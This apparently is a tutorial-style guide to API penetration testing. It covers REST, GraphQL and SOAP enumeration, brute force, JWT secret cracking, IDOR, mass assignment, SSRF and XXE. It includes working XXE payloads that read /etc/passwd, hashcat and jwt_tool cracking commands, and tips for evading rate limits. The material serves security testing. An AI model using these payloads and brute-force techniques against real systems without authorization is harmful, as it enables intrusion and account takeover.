API Pentesting Guide This guide presents a practical methodology for testing modern APIs, covering API discovery, authentication, authorization, REST, GraphQL, SOAP, server-side vulnerabilities, and common API attack techniques. Each section focuses on techniques that consistently prove valuable during real-world API security assessments.


Introduction to APIs

API Types

REST

REST (Representational State Transfer) is the most common API architecture. REST APIs expose resources through URLs and typically exchange data in JSON format over HTTP.

Example Request

GET /api/v1/users/123 HTTP/1.1
Host: example.com
Authorization: Bearer <token>

Example Response

{
    "id": 123,
    "username": "zaid",
    "email": "zaid@example.com"
}

GraphQL

GraphQL is a query language and runtime that allows clients to request data from a single endpoint (usually /graphql) that accepts queries and mutations.

Operations

  • Queries (Read data)
  • Mutations (Modify data)
  • Subscriptions (Real-time updates)

Example Query

query {
  user(id: 123) {
    id
    username
    email
  }
}

Example Response

{
  "data": {
    "user": {
      "id": 123,
      "username": "amr",
      "email": "amr@example.com"
    }
  }
}

SOAP

SOAP (Simple Object Access Protocol) is an XML-based messaging protocol commonly found in enterprise and legacy applications.

SOAP defines a strict message structure using XML and often relies on a WSDL (Web Services Description Language) file that describes all available operations.

Example Request

POST /service HTTP/1.1
Host: example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://example.com/GetUser"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <GetUser xmlns="http://example.com/">
            <id>123</id>
        </GetUser>
    </soap:Body>
</soap:Envelope>

Note: There are other API types besides those presented here. This guide covers only the most common ones.

Enumeration

Fuzzing techniques

You should be fuzzing all of the parts underlined

  • GET: POST, PUT…
  • v1: v0, v2, v3…
  • items: wordlist
  • Numerical ids

Here are some decent enumeration commands

# GET + fixed params
ffuf -w api-endpoints-res.txt -u 'http://target/api/FUZZ?test=FUZZ' -mc 200-299,301,302,307,308,401,500,403,405,400,415

# GET + recursion
ffuf -w api-endpoints-res.txt -u 'http://target/api/FUZZ' -recursion  -recursion-strategy greedy -recursion-depth 2 -mc 200-299,301,302,307,308,401,500,403,405,400,415

# POST + fixed params
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u 'http://target/api/FUZZ?test=FUZZ' -X POST -d '{"FUZZ":"test"}' -H 'Content-Type: application/json' -mc 200-299,301,302,307,308,401,500,403,405,400,415

# Authenticated enumeration
ffuf -w api-endpoints-res.txt -u 'http://target/api/FUZZ?test=FUZZ' -mc 200-299,301,302,307,308,401,500,403,405,400,415 -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWI-------iOZXN0dXN0.aeTF'

It’s important to use the provided status codes because ffuf ignores 400 by default which is a key code in APIs, especially with POST requests (usually a 400 error comes when some parameters are missing)

Burp history

Filter for keywords like /api

kiterunner

What makes kiterunner special is the wordlists that go beyond one level, such as api/users/add, which we can’t get recursively in case /api/users doesn’t return anything.

kr wordlist list

we are interested in the apiroutes-260227 (Hint: don’t leave a trailing / after url)

kr scan https://example.com -A apiroutes-260227 -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWI-------iOZXN0dXN0.aeTF' -x 10 --ignore-length 123,34-53

# --ignore-length is similar to ffuf's -fs 

Parameter identification

You can use Arjun to optimally identify query params (It goes through 25k params in just 60 requests) https://github.com/s0md3v/Arjun

pipx install arjun

# DON'T use GET,POST together, it doesn't work and the tool doesn't even tell u
arjun -u https://api.example.com/endpoint -m GET --stable -oJ result.json

arjun -u https://api.example.com/endpoint -m POST --stable -oJ result.json

There is also ParamMiner burp extension, and ParamSpider (Finds parameters passively)

API Documentation Discovery

This part is important because if you find API documentation it will save you time and open up new possible attack paths

  • /api
  • /swagger/index.html
  • /swagger-ui/index.html
  • /openapi.json
  • /api-docs And so many more

Example Swagger documentation

Authentication Attacks

Bruteforce

Bruteforcing is still an efficient attack in 2026 if you prepare it well,

  1. Prepare the target users list You should identify valid usernames, weather via a dangerous listing at /users, an exposed logging endpoint, via the authenticated dashboard, by analyzing different responses on login, or even by determining the username format and making a custom list.

  2. Determine the attack strategy There are two main ways, you can bruteforce all the usernames with a small common password list (preferably a custom one), or handpick a few target usernames (admin, high privilege user, default account…) and bruteforce them with a large password list. You can do both.

  3. Execute the attack To make sure the attack is working, it’s preferable to add your own valid user/password pair to the list, so if you get 0 successful matches you know there is a problem with your execution. You should also be aware of rate limiting and try to circumvent it whenever possible.

Logical vulnerabilities

Since these vulnerabilities depend on context, I’ll give you an example

  • A client application once used a flawed “Sign in with Google” implementation. It received the user’s email from a JWT returned after Google authentication but never verified the JWT’s authenticity (Vuln 1). It then sent a separate request to authenticate the user without using the original JWT or any verification token; only the extracted email (Vuln 2). By changing that email, we were able to gain access to any account registered on the website. One of the main ideas that helped find this vulnerability is simply turning the burp interceptor on and observing the flow of requests and responses between the from/to the server. Example illustration:

Injection

This part has already been covered in my Web App Pentesting Methodology

API Keys

Test for

  • Missing or invalid API key enforcement
  • Hardcoded or exposed API keys
  • Keys leaked in URLs, logs, or client-side code
  • Keys with excessive privileges
  • Expired or revoked keys that still work

Attacking JWTs

Bruteforcing the secret

For both HS256 and HS512, hashcat can probably go through full Rockyou.txt in less than 1 minute (CPU cracking).

hashcat -a 0 -m 16500  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlphaWQgQW1yIiwiYWRtaW4iOnRydWUsImlhdCI6MTc4NDc1NDA2NSwiZXhwIjoxNzg0NzU3NjY1fQ.KssFOulPqK5AEkTdQNVMJtCbnSYvjCMktJvsFOEjVtA /usr/share/wordlists/rockyou.txt

If hashcat doesn’t want to accept the token (for example because of weird formatting like a trailing =, use jwt_tool)

jwt_tool -C -d /usr/share/wordlists/rockyou.txt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlphaWQgQW1yIiwiYWRtaW4iOnRydWUsImlhdCI6MTc4NDc1NDA2NSwiZXhwIjoxNzg0NzU3NjY1fQ.KssFOulPqK5AEkTdQNVMJtCbnSYvjCMktJvsFOEjVtA

You can then forge tokens and recalculate signature using JSON Web Tokens burp extension

Using jwt_tool

jwt_tool auto executes several different attacks, just make sure the endpoint you are targeting changes state depending on the JWT token.

https://github.com/ticarpi/jwt_tool

python3 jwt_tool.py -t http://target.com/api/account -rh 'Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.------.9j4mKbSwbx102o_Q' -M at

# If you get a proxy error, add -np

Authorization Attacks

IDOR

IDOR (Insecure Direct Object Reference) occurs when an API exposes object identifiers without properly verifying that the authenticated user is authorized to access the referenced resource.

  • Try to get data of other users, example /receipt?id=1, try id=2. Also test PUT requests.
  • If the id is in uuid format, try finding an endpoint that leaks others ids, or create 2 accounts and test them against each other.

Broken Access Controls

Broken Access Control occurs when an application does not correctly enforce permissions, allowing users to perform actions or access functionality outside their assigned privileges.

These vulns depend on context, you should make a lot of ‘what if’ scenarios and try to apply them.

  • Test access to administrative endpoints.
  • Try to force admin role in the frontend using Burp’s match and replace, it can end-up showing the admin interface (frontend only) and makes testing BACs easier.
  • Use Burp’s Auth Analyzer extension to compare different roles.

Mass Assignment

Mass Assignment occurs when an API accepts parameters that users should not be able to control and uses them to update or create objects.

For example, when creating a new user:

{
    "username": "zaid",
    "email": "zaid@example.com",
}

Response

HTTP/1.1 201 Created
Content-Type: application/json

{
    "id": 42,
    "username": "zaid",
    "email": "zaid@example.com",
    "role": "user"
}

The additional role parameter appearing in the response is a strong hint you should test for mass assignment, your should immediately be thinking about testing the following request

{
    "username": "amr",
    "email": "amr@example.com",
    "role": "admin"
}

Sometimes parameters like “role” will fail, you should see what other attributes constitute your user and try to change them. You can get impact by changing your balance in an e-commerce website, or changing your score in an education website.

Excessive Data Exposure

This can appear in several ways, some of which are:

  • Pagination & Filtering

  • Returns more params than needed For example, this registration page returns the user’s password hash and the verificationToken, allowing for an email verification bypass

SSRF

  • Look for parameters that accept URLs, IPs, or hostnames (url=redirect=callback=webhook=).
  • Test outbound connection, an easy way is through https://webhook.site/
  • Attempt to access internal endpoints or enumerate ports
  • Look for chaining opportunities (open redirect, file upload, deserialization, auth bypass).

You can take the example of Dozzle SSRF CVE-2026-45298 which is a real world scenario that’s also relatively easy to understand.

GraphQL Pentesting

Introspection

GraphQL introspection allows you to query the API schema. If enabled, it can reveal available queries, mutations, types, and fields.

You can use this fully fledged introspection query:

query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...InputValue}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}

Batch queries

Some servers allow multiple queries in a single request.

[
  { "query": "{ user(id:1){username} }" },
  { "query": "{ user(id:2){username} }" }
]

Useful for:

  • Enumeration
  • Rate-limit bypasses
  • Amplifying denial-of-service attacks

GraphQL Voyager

You can take your introspection result and load it in GrapphQL Voyager, it visualizes the GraphQL schema to identify type relationships, queries, mutations, and field dependencies.

GraphQL-cop

GraphQL-Cop is an automated security scanner for GraphQL endpoints.

It can check for issues like:

  • Introspection enabled
  • Excessive query depth
  • Information disclosure
  • Common GraphQL misconfigurations
python3 graphql-cop -t https://target/graphql -H '{"Authorization": "Bearer <token>"}'

SOAP

WSDL Enumeration

SOAP services often expose a WSDL (Web Services Description Language) file describing all available operations, parameters, and data types.

Just change the Service to the actual service name and test:

/Service?wsdl
/Service?xsd=1
/Service.wsdl
/Service.asmx?WSDL

The WSDL can reveal available methods, required parameters, data types, service endpoints…

XXE

SOAP uses XML, making it susceptible to XML External Entity (XXE) attacks if external entities are enabled.

Example payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUser>
      <username>&xxe;</username>
    </GetUser>
  </soap:Body>
</soap:Envelope>

Successful exploitation may result in:

  • Local file disclosure
  • SSRF, Internal network enumeration
  • Denial of Service

Error based payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
  <!ENTITY % expr 'aaa)>
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ELEMENT aa (bb'>
  %local_dtd;
]>
<XmlStuff><XmlStuffId>test</XmlStuffId></XmlStuff>

SOAPAction Manipulation

Many SOAP services rely on the SOAPAction header to determine which operation should be executed.

Example:

SOAPAction: "GetUser"

Try:

  • Changing the action to other valid operations
  • Using an empty or missing SOAPAction
  • Calling undocumented methods discovered in the WSDL

Maybe you’ll execute unintended operations or bypass authorization checks.

Dealing with error codes (400, 401, 403…)

  • 400 Bad Request: Check required parameters (parameter xis missing…), validation rules (Phone number has to be an integer…).
  • 401 Unauthorized: Missing or invalid credentials, obtain a valid token/API key or authenticate first.
  • 403 Forbidden: The resource exists, but access is denied (It’s an authorization issue unlike 401 that’s an authentication failure). One time adding X-Forwarded-For: 127.0.0.1 bypassed it, but I never seen it work since.
  • 404 Not Found: Sometimes adding a trailing / can reveal a folder.
  • 405 Method Not Allowed: Try other HTTP methods, use OPTIONS to list the available ones.
  • 429 Too Many Requests: Respect rate limits, wait for Retry-After, or rotate API keys/IPs .
  • 500 Internal Server Error: Often a server-side issue, sometimes triggered when there is a mishandled exception, check your input for invalid characters/structure.